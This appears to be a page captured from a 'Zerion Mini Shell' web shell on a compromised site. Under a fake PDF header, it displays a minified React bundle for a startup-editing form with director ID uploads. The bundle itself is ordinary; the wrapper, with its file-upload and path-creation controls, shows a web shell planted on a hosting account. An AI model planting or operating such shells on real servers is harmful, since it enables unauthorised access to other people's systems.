%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/opti/public_html/startup-life/assets/
Upload File :
Create Path :
Current File : /home/opti/public_html/startup-life/assets/index-cb58c353.js

import{P as f,r as d,j as e,b as ve,e as L,w as Ne,Q as _,x as _e,u as Ae,F as Ee,C as Te,z as re,y as G,A as Fe}from"./index-5492fbe1.js";import{A as le,a as oe,M as Pe,E as Re}from"./CompanyDocs-378df1ac.js";import{I as F}from"./index-fbb310b5.js";import{C as M}from"./index-fdf728e2.js";import{S as we}from"./ImgIcon-9b978e7d.js";import{u as Le}from"./index-b50c944e.js";import{B as w}from"./Box-263f925f.js";import{G as r}from"./Grid-edacc4c9.js";import{C as Ue}from"./Checkbox-5f253e47.js";import{A as ie,a as de,d as ce,b as me,V as pe,c as ke}from"./axiosInstanceMulti-9e4fa95e.js";import{F as ue}from"./index-5e112d84.js";import{C as Be}from"./index-9f42245b.js";import{u as Oe}from"./index.esm-1be9f6a3.js";import{S as xe}from"./index-9063cbde.js";import"./index-f8259600.js";import"./FileIcon-23592c30.js";import"./styled-components.browser.esm-ee37ee23.js";import"./tslib.es6-ace8e431.js";import"./index.esm-b6fe913b.js";import"./iconBase-4b2ba95c.js";import"./index-2c4b8b3c.js";import"./joinClasses-adfcc520.js";import"./Menu-c26e62ae.js";import"./useFormControl-45c447f9.js";import"./useForkRef-ff55d5c8.js";import"./TransitionGroupContext-29effe25.js";import"./setPrototypeOf-0bb37fbe.js";import"./Modal-01a2ce69.js";import"./useTheme-0dfa0cbc.js";import"./useSlotProps-b42d44e4.js";import"./index-e5978b8b.js";import"./Paper-26f2abc8.js";import"./isNativeReflectConstruct-061ae640.js";import"./assertThisInitialized-081f9914.js";import"./use-isomorphic-layout-effect.browser.esm-1e1530e9.js";import"./SwitchBase-f9d84931.js";import"./ButtonBase-0400401d.js";import"./useControlled-967f9278.js";import"./createSvgIcon-6a373a0a.js";import"./createSvgIcon-b6337cf4.js";import"./index-935ad37b.js";import"./Button-e32596e7.js";import"./Success-380da55b.js";const he=({logo:c,setLogo:u})=>{const[x,j]=d.useState(),h=d.useCallback(P=>{const S=P[0];let C=new FileReader;S&&(C.readAsDataURL(S),C.onload=()=>{u(C.result.split("base64,")[1])});const A=URL.createObjectURL(S);j(A)},[]),{getRootProps:D,getInputProps:y}=Le({onDrop:h,accept:"image/*",multiple:!1});return e.jsxs(w,{sx:{width:"28.6875rem",height:"16.43169rem",borderRadius:"0.5rem",border:"2px dashed var(--grayscale-line, #D9DBE9)",background:"#FFF",display:"flex",justifyContent:"center",alignItems:"center"},...D(),children:[e.jsx("input",{...y()}),c?e.jsx("img",{src:x||c,alt:"logo",className:"logoImage"}):e.jsxs(w,{children:[e.jsx(w,{sx:{display:"flex",justifyContent:"center",mb:".75rem"},children:e.jsx(we,{})}),e.jsxs("p",{className:"dragdroptext01",children:[e.jsx("span",{children:"Drag"})," or ",e.jsx("span",{children:"Drop"})," your file here"]}),e.jsx("p",{className:"dragdroptext02",children:"Upload all types of files"})]})]})};he.propTypes={logo:f.any,setLogo:f.func};const be=({control:c,selectedCountry:u,setSelectedCountry:x,logo:j,setLogo:h})=>{const D=t=>{console.log("val",t)},[y,P]=d.useState([{label:"",value:""}]),[S,C]=d.useState([{label:"",value:""}]),[A,l]=d.useState([]),R=async()=>{await L.get(Ne).then(t=>{var m,I,T;let o=(T=(I=(m=t==null?void 0:t.data)==null?void 0:m.data)==null?void 0:I.filter(p=>p.status==="ACTIVE"))==null?void 0:T.map(p=>({value:p==null?void 0:p.id,label:p==null?void 0:p.name}));C(o)}).catch(t=>{var o,m;_.error((m=(o=t==null?void 0:t.response)==null?void 0:o.data)==null?void 0:m.message)})},E=async()=>{await L.get(_e).then(t=>{var m,I,T;let o=(T=(I=(m=t==null?void 0:t.data)==null?void 0:m.data)==null?void 0:I.filter(p=>p.status==="ACTIVE"))==null?void 0:T.map(p=>({value:p==null?void 0:p.id,label:p==null?void 0:p.name}));console.log(o),l(o)}).catch(t=>{var o,m;_.error((m=(o=t==null?void 0:t.response)==null?void 0:o.data)==null?void 0:m.message)})};console.log("oo",A,S),d.useEffect(()=>{R(),E(),ve.get("https://restcountries.com/v2/all").then(t=>{P(t.data)}).catch(t=>{console.error("Error fetching country data:",t)})},[]);const U=t=>{x(t),console.log("pas",u)};return e.jsx(w,{sx:{pt:"2.31rem",position:"relative"},children:e.jsxs(r,{container:!0,spacing:8,children:[e.jsx(r,{item:!0,xs:8,children:e.jsx("form",{children:e.jsxs(r,{container:!0,spacing:4,children:[e.jsx(r,{item:!0,md:6,sx:{mb:"1.5rem"},children:e.jsx(F,{name:"company_name",label:"Company Name",control:c,rules:{required:"Enter your company name"}})}),e.jsx(r,{item:!0,md:6,sx:{mb:"1.5rem"},children:e.jsx(F,{name:"company_address",label:"Register Company Address",control:c,rules:{required:"Enter your company address"}})}),e.jsx(r,{item:!0,md:6,sx:{mb:"1.5rem"},children:e.jsx(F,{name:"contact_phone",label:"Contact Phone Number",control:c,rules:{required:"Enter your company phone number",minLength:{value:11,message:"Phone number should be 11 digits"}}})}),e.jsx(r,{item:!0,md:6,sx:{mb:"1.5rem"},children:e.jsx(F,{name:"alternative_phone",label:"Alternative Phone Number",control:c,rules:{retuired:"Enter an alternative phone number",minLength:{value:11,message:"Phone number should be 11 digits"}}})}),e.jsx(r,{item:!0,md:6,sx:{mb:"1.5rem"},children:e.jsx(F,{name:"email_address",label:"Email Address",control:c,rules:{required:"Please enter your email address",pattern:{value:/^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$/i,message:"Invalid email address"}}})}),e.jsx(r,{item:!0,md:6,sx:{mb:"1.5rem"},children:e.jsx(M,{handleChange:D,options:[{label:"Registered",value:"REGISTERED"},{label:"Unregistered",value:"UNREGISTERED"},{label:"Processing",value:"PROCESSING"}],name:"company_status",control:c,rules:{required:"Select your company status"},label:"Company’s status"})}),e.jsx(r,{item:!0,md:6,sx:{mb:"1.5rem"},children:e.jsx(M,{handleChange:D,options:A,name:"businessType",control:c,rules:{required:"Select your company business type"},label:"Business Type"})}),e.jsx(r,{item:!0,md:6,sx:{mb:"1.5rem"},children:e.jsx(M,{handleChange:D,options:S,name:"industry",control:c,rules:{required:"Select your company industry"},label:"Industry"})}),e.jsxs(r,{item:!0,md:8,children:[e.jsx("p",{className:"uploadHeader",children:"Upload Startup logo"}),e.jsx(w,{children:e.jsx(he,{logo:j,setLogo:h})})]})]})})}),e.jsx(r,{item:!0,md:4,sx:{position:"relative"},children:(y==null?void 0:y.length)>0&&e.jsxs(w,{sx:{maxHeight:"90vh",background:"rgba(168, 207, 69, 0.14)",overflow:"scroll",position:"absolute"},children:[e.jsx("p",{className:"countriesLabel",children:"Select registered Country"}),e.jsx("ul",{className:"countryListing",children:y==null?void 0:y.map((t,o)=>{var m;return e.jsxs("li",{children:[e.jsxs(w,{sx:{display:"flex",gap:".37rem"},children:[e.jsx("img",{src:(m=t==null?void 0:t.flags)==null?void 0:m.png,alt:"flag"}),e.jsxs("p",{children:[t==null?void 0:t.name," "]})]}),e.jsx(Ue,{sx:{color:"#A8CF45","&.Mui-checked":{color:"#A8CF45"}},checked:u===(t==null?void 0:t.name),onChange:()=>U(t==null?void 0:t.name)})]},o)})})]})})]})})};be.propTypes={control:f.any,selectedCountry:f.string,setSelectedCountry:f.func,logo:f.any,setLogo:f.func};const ge=({control:c,documents:u,setDocuments:x,directors:j,getDirectorDetails:h})=>{const D={display:"flex",justifyContent:"space-between",alignItems:"center"},y={marginLeft:0,marginRight:0};d.useEffect(()=>{h()},[]);const P=l=>{console.log("val",l)},S=(l,R)=>{var t,o,m,I;const{files:E}=l.target,U=T=>{x({...u,[R]:T})};((t=E[0])==null?void 0:t.size)<=2e6&&(((o=E[0])==null?void 0:o.type)==="image/jpeg"||((m=E[0])==null?void 0:m.type)==="image/png"||((I=E[0])==null?void 0:I.type)==="application/pdf")&&U(E[0]),l.target.value=null},C=d.useRef(),A=d.useRef();return e.jsx(w,{sx:{pt:"2.31rem",position:"relative"},children:e.jsx(r,{container:!0,children:e.jsxs(r,{item:!0,md:8,children:[e.jsxs(ie,{sx:le,children:[e.jsx(de,{sx:oe,expandIcon:e.jsx(ce,{style:y}),style:D,children:e.jsx("p",{className:"director",children:"Add Director"})}),e.jsx(me,{children:e.jsxs(r,{container:!0,spacing:4,children:[e.jsx(r,{item:!0,sx:{mb:"1.81rem"},md:6,children:e.jsx(F,{name:"director_name",label:"Director's Name",control:c,rules:{}})}),e.jsx(r,{item:!0,sx:{mb:"1.81rem"},md:6,children:e.jsx(Be,{name:"director_phoneNumber",label:"Director's Phone Number ",control:c,rules:{}})}),e.jsx(r,{item:!0,sx:{mb:"1.81rem"},md:6,children:e.jsx(F,{name:"director_email",label:"Director's Email Address",type:"email",control:c,rules:{}})}),e.jsx(r,{item:!0,sx:{mb:"1.81rem"},md:6,children:e.jsx(M,{handleChange:P,options:[{label:"National ID card",value:"NATIONAL_ID"},{label:"Driver's License",value:"DRIVING_LICENSE"},{label:"International Passport",value:"INTERNATIONAL_PASSPORT"},{label:"Voter's Card",value:"VOTER_CARD"}],name:"id_type",control:c,rules:{},label:"ID Type"})}),e.jsx(r,{item:!0,sx:{mb:"1.81rem"},xs:12,children:e.jsx(ue,{label:"Upload ID(front)",name:"idFront",handleFileChange:S,inputRef:C,doc:u==null?void 0:u.idFront})}),e.jsx(r,{item:!0,sx:{mb:"1.81rem"},xs:12,children:e.jsx(ue,{label:"Upload ID(Back)",name:"idBack",handleFileChange:S,inputRef:A,doc:u==null?void 0:u.idBack})})]})})]}),j==null?void 0:j.map((l,R)=>e.jsxs(ie,{sx:le,children:[e.jsx(de,{sx:oe,expandIcon:e.jsx(ce,{style:y}),style:D,children:e.jsxs("p",{className:"director",children:["Director ",R+1]})}),e.jsx(me,{children:e.jsxs(r,{container:!0,spacing:4,children:[e.jsx(r,{item:!0,sx:{mb:"1.81rem"},md:6,children:e.jsx(F,{name:"director_name",label:"Director's Name",value:l==null?void 0:l.name,disabled:!0,rules:{}})}),e.jsx(r,{item:!0,sx:{mb:"1.81rem"},md:6,children:e.jsx(F,{name:"director_phoneNumber",label:"Director's Phone Number ",type:"tel",value:l==null?void 0:l.phoneNumber,disabled:!0})}),e.jsx(r,{item:!0,sx:{mb:"1.81rem"},md:6,children:e.jsx(F,{name:"director_email",label:"Director’s Email Address ",value:l==null?void 0:l.email,disabled:!0})}),e.jsx(r,{item:!0,sx:{mb:"1.81rem"},md:6,children:e.jsx(M,{handleChange:P,options:[{label:"National ID card",value:"NATIONAL_ID"},{label:"Driver's License",value:"DRIVING_LICENSE"},{label:"International Passport",value:"INTERNATIONAL_PASSPORT"},{label:"Voter's Card",value:"VOTER_CARD"}],name:"id_type",selectValue:l==null?void 0:l.IDType,rules:{},label:"ID Type"})}),e.jsx(r,{item:!0,sx:{mb:"1.81rem"},xs:12,children:e.jsx(pe,{label:"Upload ID(front)",url:l==null?void 0:l.doc_front_id})}),e.jsx(r,{item:!0,sx:{mb:"1.81rem"},xs:12,children:e.jsx(pe,{label:"Upload ID(Black)",url:l==null?void 0:l.doc_back_id})})]})})]},R))]})})})};ge.propTypes={control:f.any,documents:f.any,setDocuments:f.func,directors:f.any,getDirectorDetails:f.func};const Ea=()=>{const c=Ae(),{id:u}=Ee(),[x,j]=d.useState(1),[h,D]=d.useState({}),[y,P]=d.useState([]),[S,C]=d.useState(!1),[A,l]=d.useState(""),[R,E]=d.useState(null),[U,t]=d.useState(!1),[o,m]=d.useState(),[I,T]=d.useState(),[p,q]=d.useState(!1),{control:z,watch:b,setValue:v}=Oe({mode:"onBlur"}),$=async()=>{await L.get(re+`/startup-directors?startupId=${o==null?void 0:o.id}`).then(a=>{var s;P((s=a==null?void 0:a.data)==null?void 0:s.data)}).catch(a=>{console.log("error",a)})},ye=async()=>{await L.get(G+`/${u}`).then(a=>{console.log("startjrd",a)}).catch(a=>{var s,n;_.error((n=(s=a.response)==null?void 0:s.data)==null?void 0:n.message)})},je=async()=>{await L.get(G+`/${u}`).then(a=>{var s,n,i,g,N,k,B,O,V,J,H,Z,Q,W,K,X,Y,ee,ae,te,se,ne;console.log(a),v("company_name",(n=(s=a==null?void 0:a.data)==null?void 0:s.data)==null?void 0:n.name),v("company_address",(g=(i=a==null?void 0:a.data)==null?void 0:i.data)==null?void 0:g.address),v("contact_phone",(k=(N=a==null?void 0:a.data)==null?void 0:N.data)==null?void 0:k.phoneNumber),v("alternative_phone",(O=(B=a==null?void 0:a.data)==null?void 0:B.data)==null?void 0:O.alternativePhoneNumber),v("email_address",(J=(V=a==null?void 0:a.data)==null?void 0:V.data)==null?void 0:J.email),v("businessType",(Q=(Z=(H=a==null?void 0:a.data)==null?void 0:H.data)==null?void 0:Z.businessType)==null?void 0:Q.id),v("industry",(X=(K=(W=a==null?void 0:a.data)==null?void 0:W.data)==null?void 0:K.industry)==null?void 0:X.id),v("company_status",(ee=(Y=a==null?void 0:a.data)==null?void 0:Y.data)==null?void 0:ee.status),l((te=(ae=a==null?void 0:a.data)==null?void 0:ae.data)==null?void 0:te.country),E((ne=(se=a==null?void 0:a.data)==null?void 0:se.data)==null?void 0:ne.doc_logo)}).catch(a=>{var s,n;_.error((n=(s=a.response)==null?void 0:s.data)==null?void 0:n.message)})};d.useEffect(()=>{je(),ye(),v("countryJurisdiction",[{}])},[u]);const fe=async a=>{t(!0),await L.put(G+`/${u}`,a).then(s=>{var n,i;t(!1),m((n=s.data)==null?void 0:n.data),_.success((i=s.data)==null?void 0:i.message),c(`/my-startups/${u}`)}).catch(s=>{var n,i;_.error((i=(n=s.response)==null?void 0:n.data)==null?void 0:i.message),t(!1)})},De=async a=>{var n;a.preventDefault();const s={startupId:o==null?void 0:o.id,country:I,documents:(n=b())==null?void 0:n.countryJurisdiction};t(!0),await L.post(Fe,s).then(i=>{var g;t(!1),q(!0),_.success((g=i.data)==null?void 0:g.message),v("countryJurisdiction",[{}]),T()}).catch(i=>{var g,N;_.error((N=(g=i.response)==null?void 0:g.data)==null?void 0:N.message),t(!1)})},Se=a=>{var n,i,g,N,k,B,O,V;a.preventDefault();const s={name:(n=b())==null?void 0:n.company_name,address:(i=b())==null?void 0:i.company_address,phoneNumber:(g=b())==null?void 0:g.contact_phone,alternativePhoneNumber:(N=b())==null?void 0:N.alternative_phone,email:(k=b())==null?void 0:k.email_address,companyStatus:(B=b())==null?void 0:B.company_status,industry:(O=b())==null?void 0:O.industry,businessType:(V=b())==null?void 0:V.businessType,country:A,documents:[],logo:R};fe(s)},Ce=async a=>{t(!0),await ke.post(re+`/${o==null?void 0:o.id}`,a).then(s=>{var n;t(!1),$(),C(!0),_.success((n=s.data)==null?void 0:n.message)}).catch(s=>{var n,i;_.error((i=(n=s.response)==null?void 0:n.data)==null?void 0:i.message[0]),t(!1)})},Ie=a=>{var n,i,g,N;a.preventDefault();const s=new FormData;s.append("name",(n=b())==null?void 0:n.director_name),s.append("phoneNumber",(i=b())==null?void 0:i.director_phoneNumber),s.append("email",(g=b())==null?void 0:g.director_email),s.append("idType",(N=b())==null?void 0:N.id_type),s.append("idBack",h==null?void 0:h.idBack),s.append("idFront",h==null?void 0:h.idFront),Ce(s)};return e.jsxs(Pe,{children:[e.jsx(xe,{open:S,handleClose:()=>C(!1),btntext1:"Continue",btntext2:"Add Another",infoText:"Startup created successfully",btnFunc1:()=>c("/my-startups"),btnFunc2:()=>C(!1)}),e.jsx(xe,{open:p,handleClose:()=>q(!1),btntext1:"Continue",btntext2:"Add Country",infoText:"Country document added",btnFunc1:()=>{j(3),q(!1)},btnFunc2:()=>q(!1)}),e.jsxs("div",{className:"pageContain",children:[e.jsx("p",{className:"PageHero",children:"Edit Startup"}),x===1?e.jsx(be,{control:z,selectedCountry:A,setSelectedCountry:l,setPage:j,logo:R,setLogo:E}):x===2?e.jsx(Re,{control:z,documents:h,setDocuments:D,setPage:j,country:I,watch:b,setValue:v,setCountry:T}):x===3?e.jsx(ge,{control:z,documents:h,setDocuments:D,directors:y,setDirectors:P,getDirectorDetails:$}):null]}),e.jsxs(w,{sx:{background:"#FFF",height:"7.13rem",boxShadow:"8px 0px 18px 0px rgba(173, 173, 173, 0.25)",position:"absolute",width:"100%",bottom:0,display:"flex",justifyContent:"space-between",alignItems:"center",paddingLeft:"4.44rem",paddingRight:"2.56rem"},children:[e.jsx("button",{className:"backBtn",onClick:()=>{x>1&&j(x-1)},children:"Cancel"}),e.jsx("button",{className:"proceedBtn",onClick:a=>{x<3?x===1?A===""?_.error("Please select a country"):Se(a):De(a):Ie(a)},children:U?e.jsx(Te,{color:"inherit",size:20}):"Continue"})]})]})};export{Ea as default};

Zerion Mini Shell 1.0